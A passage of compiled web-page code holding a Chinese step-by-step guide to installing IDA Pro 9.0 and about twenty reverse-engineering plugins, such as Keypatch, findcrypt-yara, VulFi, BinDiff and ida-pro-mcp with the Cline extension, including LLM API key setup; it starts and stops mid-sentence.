e26\u8d23\u4efb\u3002"}),"\n",(0,d.jsx)(s.h2,{id:"\u4e00\u5b89\u88c5ida90\u4e2d\u6587\u7248",children:"\u4e00\u3001\u5b89\u88c5IDA9.0\u4e2d\u6587\u7248"}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u662f\u9700\u8981\u5b89\u88c5\u63d2\u4ef6\u4e2d\u7684 python\u5305\uff1apython-3.11.9-amd64.exe"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000529663",src:i(50125).A+"",width:"782",height:"485"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u518d\u5b89\u88c5IDA Professional 9.0\u4e2d\u6587\u7248"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000136174",src:i(11469).A+"",width:"610",height:"463"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000208749",src:i(86077).A+"",width:"845",height:"553"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000342621",src:i(72884).A+"",width:"976",height:"663"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000444125",src:i(51906).A+"",width:"1080",height:"845"})}),"\n",(0,d.jsx)(s.h2,{id:"\u4e8cida\u63d2\u4ef6\u5b89\u88c5",children:"\u4e8c\u3001IDA\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.h3,{id:"1ida-feeds\u63d2\u4ef6\u5b89\u88c5",children:"1.IDA Feeds\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u8fdb\u5165idalib\u76ee\u5f55\uff0c\u7136\u540e\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5\uff1a"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"pip install ../idalib/python/.\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916213758547",src:i(77141).A+"",width:"1080",height:"439"})}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"python . . / idalib/python/py-activate-idalib.py\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916215342914",src:i(41551).A+"",width:"1035",height:"259"})}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-sh",children:"pip install -r ../plugins/ida_feeds/requirements.txt -i https://mirrors.aliyun.com/pypi/simple/\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916215427977",src:i(74772).A+"",width:"1080",height:"364"})}),"\n",(0,d.jsx)(s.p,{children:"\u63d2\u4ef6\u5728Edit>plugins>IDA Feeds\u542f\u52a8"}),"\n",(0,d.jsx)(s.h3,{id:"2lazyida\u63d2\u4ef6\u5b89\u88c5",children:"2.LazyIDA\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06ida\u4e2d\u6570\u636e\u5feb\u901f\u5bfc\u51fa\u4e3a\u591a\u79cd\u683c\u5f0f\uff0cconvert\u5feb\u901f\u63d0\u53d6\u6570\u636e\u7b49"}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06LazyIDA.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef\uff08",(0,d.jsx)(s.a,{href:"https://github.com/L4ys/LazyIDA%EF%BC%89",children:"https://github.com/L4ys/LazyIDA\uff09"})]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134443405",src:i(44723).A+"",width:"543",height:"610"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916224356420",src:i(12113).A+"",width:"632",height:"627"})}),"\n",(0,d.jsx)(s.h3,{id:"3keypatch90\u63d2\u4ef6\u5b89\u88c5",children:"3.keypatch9.0\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"patch\u6307\u4ee4\u65b9\u4fbf"}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u662f\u9700\u8981\u5b89\u88c5 keystone-engine\u548csix python\u5e93\uff0c\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5\uff1a"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"pip install keystone-engine -i https://mirrors.aliyun.com/pypi/simple/\n\npip install six -i https://mirrors.aliyun.com/pypi/simple/\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u5c06Keypatch.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134622103",src:i(86503).A+"",width:"492",height:"598"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916224641481",src:i(18422).A+"",width:"710",height:"641"})}),"\n",(0,d.jsx)(s.h3,{id:"4patching\u63d2\u4ef6\u5b89\u88c5",children:"4.patching\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u4e8c\u8fdb\u5236\u6307\u4ee4\u96c6\u8865\u4e01\u5de5\u5177\uff0c\u6bd4keypatch\u597d\u7528\u4e9b"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/gaasedelen/patching\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134726193",src:i(65343).A+"",width:"619",height:"637"})}),"\n",(0,d.jsx)(s.p,{children:"\u5c06Patching\u6587\u4ef6\u5939\u548cPatching.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"5auto-enum\u63d2\u4ef6\u5b89\u88c5",children:"5.auto-enum\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u81ea\u52a8\u6062\u590d\u5e38\u89c1api\u7684\u679a\u4e3e\u53d8\u91cf"}),"\n",(0,d.jsx)(s.p,{children:"\u4e0b\u8f7d\u540e\u5c06\u9879\u76eeplugin\u76ee\u5f55\u5185\u7684\u6240\u6709\u6587\u4ef6:"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134820295",src:i(64410).A+"",width:"612",height:"640"})}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"enumlib\n\nauto_enum.py\n\nida-plugin.json\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u590d\u5236\u5230ida/plugins\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"6hrtng\u63d2\u4ef6\u5b89\u88c5",children:"6.hrtng\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u6ce8\uff1a\u5982\u679c\u5b89\u88c5\u4e86Hrtng\u53ef\u4ee5\u4e0d\u5b89\u88c5D810\u63d2\u4ef6"}),"\n",(0,d.jsx)(s.p,{children:"\u9ad8\u4eae\u62ec\u53f7,\u91cd\u5b9a\u4e49\u5173\u952e\u51fd\u6570\u58f0\u660e,\u6808\u5b57\u7b26\u4e32\u8bc6\u522b,\u53cdollvm\u7b49\u529f\u80fd"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/KasperskyLab/\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u4e0b\u8f7drelease\u5305\u540e\u89e3\u538b,\u590d\u5236plugins/windows/9.0/hrtng.dll\u5230ida/plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"7classinformer\u63d2\u4ef6\u5b89\u88c5",children:"7.classinformer\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/herosi/classinformer\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u53cd\u7f16\u8bd1C++\u7684\u65f6\u5019\u9700\u8981\u7528\u5230\uff0c\u53ef\u4ee5\u6839\u636eRTTI\u7b49\u4fe1\u606f\u7efc\u5408\u6062\u590d\u7c7bClass\u7684\u76f8\u5173\u4fe1\u606f\uff0c\u4f8b\u5982\u7ee7\u627f\u4fe1\u606f\uff0c\u7c7b\u540d\u7b49\u3002"}),"\n",(0,d.jsx)(s.p,{children:"\u4e0b\u8f7drelease\u5305\u540e\u5c06Classinformer64.dll\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"8dereferencing\u63d2\u4ef6\u5b89\u88c5",children:"8.deREferencing\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u4e2a\u662f\u8c03\u8bd5\u91cc\u9762\u7528\u7684\uff0c\u5b83\u53ef\u4ee5\u8ffd\u8e2a\u67d0\u4e00\u4e2a\u5730\u5740\u6307\u5411\u4ec0\u4e48\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u77e5\u9053\u5bc4\u5b58\u5668\u6216\u662f\u5185\u5b58\u5730\u5740\u5230\u5e95\u6307\u5411\u8c01\uff0c\u6709\u4ec0\u4e48\u610f\u4e49"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/danigargu/deREferencing\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u8c03\u8bd5\u65f6\u4f7f\u7528,\u8ffd\u8e2a\u6808\u548c\u5bc4\u5b58\u5668\u6307\u5411\u7684\u5185\u5bb9"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06dereferencing.py\u548cdereferencing\u6587\u4ef6\u5939\u590d\u5236\u5230ida/plugins\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"9ida-dataexportplus\u63d2\u4ef6\u5b89\u88c5",children:"9.IDA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"IDA\u672c\u8eab\u81ea\u5e26\u4e00\u4e2a\u5bfc\u51fa\u529f\u80fd\uff0c\u4f46\u662f\u6709\u70b9\u9e21\u808b\uff0c\u672c\u63d2\u4ef6\u53ef\u5c06\u5bfc\u51fa\u6570\u636e\u8fdb\u884c\u683c\u5f0f\u7684\u81ea\u5b9a\u4e49"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/Krietz7/IDA-DataExportPlus\n"})}),"\n",(0,d.jsx)(s.p,{children:"shift+e \u6570\u636e\u63d0\u53d6\u5f3a\u5316\u7248,\u5c06DataExportPlus.py\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"10findhash\u63d2\u4ef6\u5b89\u88c5",children:"10.findhash\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u9879\u76ee\u5730\u5740"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/Pr0214/findhash\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u8be5\u63d2\u4ef6\u53ef\u4ee5\u641c\u7d22\u51fa\u88ab\u9b54\u6539\u7684\u54c8\u5e0c\u7b97\u6cd5"}),"\n",(0,d.jsx)(s.p,{children:"\u628afindhash.xml\u548cfindhash.py\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.h3,{id:"11wpechatgp\u63d2\u4ef6\u5b89\u88c5",children:"11.WPeChatGP\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06requirements.txt\u548cwpechatgpt.py\u4ee5\u53caauto-wpegpt_wpeace\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917134934100",src:i(85987).A+"",width:"489",height:"303"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u8fd0\u884c\u5982\u4e0b\u547d\u4ee4\u5b89\u88c5\u6240\u9700\u5305"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{children:" pip install -r ./requirements.txt\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916233527145",src:i(78420).A+"",width:"1080",height:"474"})}),"\n",(0,d.jsxs)(s.p,{children:["\u4fee\u6539\u811a\u672c ",(0,d.jsx)(s.code,{children:"WPeChatGPT.py"}),"\uff0c\u6dfb\u52a0 API key \u5230\u53d8\u91cf ",(0,d.jsx)(s.em,{children:(0,d.jsx)(s.strong,{children:"openai.api_key"})}),"\u3002\uff08\u540e\u9762\u4f1a\u5199\u5982\u4f55\u5bf9\u5176API\u8fdb\u884c\u7533\u8bf7\uff09"]}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u91cc\u9700\u8981\u4fee\u6539plugin_name\u4ee5\u53camodel\u548ccilent\u53c2\u6570\u8fdb\u884c\u4fee\u6539"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916235303441",src:i(36971).A+"",width:"1080",height:"749"})}),"\n",(0,d.jsx)(s.p,{children:"\u6700\u540e\u91cd\u542f IDA \u540e\u5373\u53ef\u4f7f\u7528"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917000812789",src:i(11309).A+"",width:"848",height:"818"})}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u91cc\u6ce8\u518c\u6296\u97f3\u7684API\uff08\u5c06\u6ce8\u518c\u597d\u7684API\u586b\u5165\u5230\u914d\u7f6e\u6587\u4ef6\u5373\u53ef\uff09"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://console.volcengine.com/ark/region:ark+cn-beijing/model?vendor=Bytedance&view=DEFAULT_VIEW\n"})}),"\n",(0,d.jsx)(s.p,{children:"\u7acb\u5373\u4f53\u9a8c\u9ed8\u8ba4\u63d0\u4f9bGUI\u754c\u9762,\u9009\u62e9API\u63a5\u5165"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"API\u63a5\u5165",src:i(90899).A+"",width:"1080",height:"493"})}),"\n",(0,d.jsxs)(s.p,{children:["\u521b\u5efaAPI Key,\u540d\u79f0\u4efb\u610f,\u521b\u5efa\u540e\u590d\u5236\u5e76\u4fdd\u5b58API Key,\u540e\u7eed\u4f7f\u7528\u6a21\u578b\u4f9d\u8d56\u8be5Key(",(0,d.jsx)(s.strong,{children:"\u6ce8\u610f\u4e0d\u8981\u6cc4\u9732"}),")"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"APIKey",src:i(7194).A+"",width:"1080",height:"494"})}),"\n",(0,d.jsx)(s.p,{children:"\u4e4b\u540e\u9009\u62e9\u81ea\u5b9a\u4e49\u63a8\u7406\u63a5\u5165\u70b9>\u521b\u5efa\u63a8\u7406\u63a5\u5165\u70b9"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"\u521b\u5efa\u63a8\u7406\u63a5\u5165\u70b9",src:i(97398).A+"",width:"1080",height:"490"})}),"\n",(0,d.jsx)(s.p,{children:"\u81ea\u884c\u8bbe\u7f6e\u63a5\u5165\u70b9\u540d\u79f0,\u6a21\u578b,\u786e\u8ba4\u63a5\u5165"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"img",src:i(72897).A+"",width:"1080",height:"483"})}),"\n",(0,d.jsx)(s.p,{children:"\u9009\u62e9\u6a21\u578b"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"\u9009\u62e9\u6a21\u578b",src:i(44133).A+"",width:"1080",height:"494"})}),"\n",(0,d.jsx)(s.p,{children:"\u521b\u5efa\u597d\u540e\u590d\u5236\u6a21\u578bid\u548c\u4e4b\u524d\u7684API Key"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"\u6a21\u578bid",src:i(4954).A+"",width:"1080",height:"663"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250916235303441",src:i(82676).A+"",width:"1080",height:"749"})}),"\n",(0,d.jsx)(s.h3,{id:"12hexrayscodexplorer\u63d2\u4ef6\u5b89\u88c5",children:"12.HexRaysCodeXplorer\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u81ea\u52a8\u8bc6\u522b\u7ed3\u6784\u4f53\uff0c\u663e\u793aC++\u865a\u51fd\u6570\uff0c\u751f\u6210\u51fd\u6570\u7ed3\u6784\u6811\u7b49"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.a,{href:"https://www.52pojie.cn/forum.php?mod=viewthread&tid=1999905&highlight=HexRaysCodeXplorer",children:"https://www.52pojie.cn/forum.php?mod=viewthread&tid=1999905&highlight=HexRaysCodeXplorer"})}),"\n",(0,d.jsx)(s.p,{children:"\u5c06HexRaysCodeXplorer64.dll\u76f4\u63a5\u590d\u5236\u5230plugins\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917091822509",src:i(71657).A+"",width:"852",height:"750"})}),"\n",(0,d.jsx)(s.h3,{id:"13da-dataexportplus\u63d2\u4ef6\u5b89\u88c5",children:"13.DA-DataExportPlus\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.a,{href:"https://github.com/Krietz7/IDA-DataExportPlus",children:"https://github.com/Krietz7/IDA-DataExportPlus"})}),"\n",(0,d.jsx)(s.p,{children:"\u4e00\u4e2a\u7528\u4e8e\u5bfc\u51fa\u6570\u636e\u7684IDA PRO\u63d2\u4ef6\uff0c\u5b83\u53ef\u4ee5\u66ff\u6362IDA Pro\u539f\u59cb\u7684\u6570\u636e\u5bfc\u51fa\u7a97\u53e3\u3002 \u8be5\u63d2\u4ef6\u652f\u6301\u57fa\u4e8e\u4e0d\u540c\u6570\u636e\u7c7b\u578b\u7684\u6570\u636e\u5bfc\u51fa\uff0c\u5305\u62ec\u4e0d\u540c\u5927\u5c0f\u7684\u6574\u6570\u548c\u6d6e\u70b9\u7c7b\u578b\u3002\u9664\u6b64\u4e4b\u5916\u4e5f\u652f\u6301\u5bfc\u51fa\u6c47\u7f16\u4ee3\u7801\u3002"}),"\n",(0,d.jsx)(s.p,{children:"\u5c06dataexportplus.py\u590d\u5236\u5230IDA\u63d2\u4ef6\u76ee\u5f55\u4e0b\u5373\u53ef"}),"\n",(0,d.jsx)(s.p,{children:"\u4f7f\u7528\u65b9\u6cd5"}),"\n",(0,d.jsxs)(s.p,{children:["\u4f7f\u7528\u5feb\u6377\u952e",(0,d.jsx)(s.code,{children:"Shift+E"}),"\u4ee5\u5524\u51fa\u63d2\u4ef6\u7a97\u53e3"]}),"\n",(0,d.jsx)(s.h3,{id:"14findcrypt-yara-\u63d2\u4ef6\u5b89\u88c5",children:"14.findcrypt-yara \u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5e38\u89c1\u52a0\u5bc6\u7b97\u6cd5\u8bc6\u522b"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/polymorf/findcrypt-yara\n"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"findcrypt3.py"}),"\u548c",(0,d.jsx)(s.code,{children:"findcrypt3.rules"}),"\u590d\u5236\u5230ida/plugins\u76ee\u5f55\u4e0b"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917093529299",src:i(45077).A+"",width:"281",height:"273"})}),"\n",(0,d.jsxs)(s.p,{children:["\u7136\u540e\u5728python\u7684\u5b89\u88c5\u76ee\u5f55\u4e0b\u7684\\Lib\\site-packages\u4e0b\u4f1a\u6709\u4e00\u4e2a",(0,d.jsx)(s.code,{children:"yara.cp310-win_amd64.pyd"}),"\u6587\u4ef6\uff0c\u5c06\u8be5\u6587\u4ef6\u590d\u5236\u5230`\\IDA\\python\\lib-dynload\u4e0b\uff0c\u7136\u540e\u91cd\u542fIDA\u5373\u53ef\u751f\u6548\u3002"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917093722785",src:i(98443).A+"",width:"802",height:"701"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917093743407",src:i(71046).A+"",width:"369",height:"312"})}),"\n",(0,d.jsx)(s.h3,{id:"15vulfi\u63d2\u4ef6\u5b89\u88c5",children:"15.VulFi\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"VulFi\uff0c\u5373\u201c\u6f0f\u6d1e\u53d1\u73b0\u8005\u201d\uff0c\u5b83\u662f\u4e00\u4e2aIDA Pro\u63d2\u4ef6\uff0c\u53ef\u4ee5\u5e2e\u52a9\u5e7f\u5927\u7814\u7a76\u4eba\u5458\u5728\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u67e5\u627e\u6f0f\u6d1e"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://github.com/Accenture/VulFi\n"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"vulfi.py"}),"\u3001",(0,d.jsx)(s.code,{children:"vulfi_prototypes.json"}),"\u548c",(0,d.jsx)(s.code,{children:"vulfi_rules.json"}),"\u6587\u4ef6\u653e\u5728",(0,d.jsx)(s.code,{children:"ida/plugins"}),"\u76ee\u5f55\u4e0b"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917095110444",src:i(52253).A+"",width:"879",height:"699"})}),"\n",(0,d.jsx)(s.h3,{id:"16sigmaker\u63d2\u4ef6\u5b89\u88c5",children:"16.SigMaker\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u7528\u4e8e\u5feb\u901f\u521b\u5efa\u67d0\u4e00\u4e2a\u51fd\u6570\u7684\u5b57\u8282\u5e8f\u5217\uff08\u51fd\u6570\u7b7e\u540d\uff09\uff0c\u53ef\u7528\u4e8e\u4e8c\u8fdb\u5236\u7a0b\u5e8f\u4e4b\u95f4\u7684\u76f8\u4f3c\u51fd\u6570\u8bc6\u522b\u3002"}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"SigMaker9_64.dll"}),"\u6587\u4ef6\u590d\u5236\u5230",(0,d.jsx)(s.code,{children:"ida/plugins"}),"\u76ee\u5f55\u4e0b\u5373\u53ef"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917100448128",src:i(46374).A+"",width:"769",height:"484"})}),"\n",(0,d.jsx)(s.h3,{id:"17idaclu\u63d2\u4ef6\u5b89\u88c5",children:"17.idaclu\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:"\u5927\u91cf\u51fd\u6570\u4e2d\u53ef\u4ee5\u5bf9\u51fd\u6570\u8fdb\u884c\u5206\u7c7b\uff0c\u8fd9\u6837\u5c31\u53ef\u4ee5\u77e5\u9053\u54ea\u4e9b\u51fd\u6570\u4e0d\u592a\u5e73\u5e38\uff0c\u6709\u52a9\u4e8e\u5feb\u901f\u5b9a\u4f4d\u5173\u952e\u51fd\u6570\u3002"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{className:"language-tex",children:"https://codeload.github.com/harlamism/IdaClu/zip/refs/tags/v1.1\n"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06 ",(0,d.jsx)(s.code,{children:"idaclu.py"})," \u6587\u4ef6\u548c ",(0,d.jsx)(s.code,{children:"idaclu"})," \u6587\u4ef6\u5939\u590d\u5236\u5230 IDA Pro \u63d2\u4ef6\u76ee\u5f55\u5373\u53ef"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917101031082",src:i(75255).A+"",width:"369",height:"312"})}),"\n",(0,d.jsx)(s.h3,{id:"18bindiff\u63d2\u4ef6\u5b89\u88c5",children:"18.bindiff\u63d2\u4ef6\u5b89\u88c5"}),"\n",(0,d.jsxs)(s.p,{children:["\u5c06",(0,d.jsx)(s.code,{children:"binexport12_ida64.dll"}),"\u548c",(0,d.jsx)(s.code,{children:"bindiff8_ida64.dll"}),"\u590d\u5236\u5230",(0,d.jsx)(s.code,{children:"ida/plugins"}),"\u5373\u53ef"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917102521421",src:i(94008).A+"",width:"760",height:"376"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917102547530",src:i(75373).A+"",width:"1080",height:"754"})}),"\n",(0,d.jsx)(s.h3,{id:"19ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528",children:"19.ida-pro-mcp\u63d2\u4ef6\u7684\u5b89\u88c5\u548c\u4f7f\u7528"}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u6761\u4ef6\u9700\u8981\u5b89\u88c5Git-2.51.0-64-bit"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917111923808",src:i(90079).A+"",width:"291",height:"220"})}),"\n",(0,d.jsx)(s.p,{children:"2.\u8fdb\u5165python311\u76ee\u5f55\u5e76\u6253\u5f00\u7ec8\u7aef"}),"\n",(0,d.jsx)(s.p,{children:"\u5b89\u88c5MCP"}),"\n",(0,d.jsx)(s.pre,{children:(0,d.jsx)(s.code,{children:" python.exe -m pip install --upgradegit+https://github.com/mrexodia/ida-pro-mcp\n"})}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917111834454",src:i(3961).A+"",width:"1080",height:"574"})}),"\n",(0,d.jsx)(s.p,{children:"\u8fdb\u5165IDAPython\u7684Scripts\u76ee\u5f55\u8fd0\u884cida-pro-mcp.exe\u8fdb\u884c\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917112116820",src:i(38371).A+"",width:"709",height:"696"})}),"\n",(0,d.jsx)(s.p,{children:"\u524d\u63d0\u9700\u8981\u5b89\u88c5\u8fc7vs code\u548ccline"}),"\n",(0,d.jsx)(s.p,{children:"\u8fd9\u91cc\u76f4\u63a5\u5b89\u88c5VSCodeUserSetup-x64-1.104.0.exe\u5c31\u884c"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917122916258",src:i(24296).A+"",width:"648",height:"675"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u8f93\u5165\u4ee5\u4e0b\u5730\u5740"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.a,{href:"https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev",children:"https://marketplace.visualstudio.com/items?itemName=saoudrizwan.claude-dev"})}),"\n",(0,d.jsx)(s.p,{children:"\u70b9\u51fbinstall\u8fdb\u884c\u5b89\u88c5"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917113845728",src:i(27581).A+"",width:"932",height:"724"})}),"\n",(0,d.jsxs)(s.p,{children:["\u6216\u8005\u6253\u5f00Vscode\u7684\u5de6\u4fa7",(0,d.jsx)(s.code,{children:"\u6269\u5c55"}),"\u83dc\u5355\u680f\uff0c\u641c\u7d22",(0,d.jsx)(s.code,{children:"Cline"}),"\uff0c\u70b9\u51fb\u5b89\u88c5",(0,d.jsx)(s.code,{children:"Cline"}),"\u3002"]}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917123034976",src:i(96730).A+"",width:"1080",height:"341"})}),"\n",(0,d.jsx)(s.p,{children:"\u7136\u540e\u4f7f\u7528\u4ee5\u4e0b\u547d\u4ee4\u8fdb\u884c\u5b89\u88c5ida-pro-mcp"}),"\n",(0,d.jsx)(s.p,{children:"python311\\Scripts\\ida-pro-mcp.exe --install"}),"\n",(0,d.jsx)(s.p,{children:(0,d.jsx)(s.img,{alt:"image-20250917114542998",src:i(29811).A+"",width:"1080",height:"508"})}),"\n",(0,d.jsxs)(s.p,{children:["\u5b89\u88c5\u6210\u529f\u540e\uff0c\u70b9\u51fb\u5de6\u4fa7\u7684",(0,d.jsx)(s.code,{children:"Cline"}),"\u83dc\u5355\u680f\u914d\u7f6e\u5927\u6a21\u578b\u7684API\u3002\u5c06",(0,d.jsx)(s.code,{children:"API Provider"}),"\u9009\u62e9\u4e3a",(0,d.jsx)(s.code,{children:"DeepSeek"}),"\uff0c\u952e\u5165",(0,d.jsx)(s.code,{children:"DeepSeek API Key"}),"\u503c\u3002\uff08\u4f60\u4e5f\u53ef\u4ee5\u9009\u62e9\u5176\u5b83\u7684API\u63d0\u4f9b\u5546\u53ca\u5176API 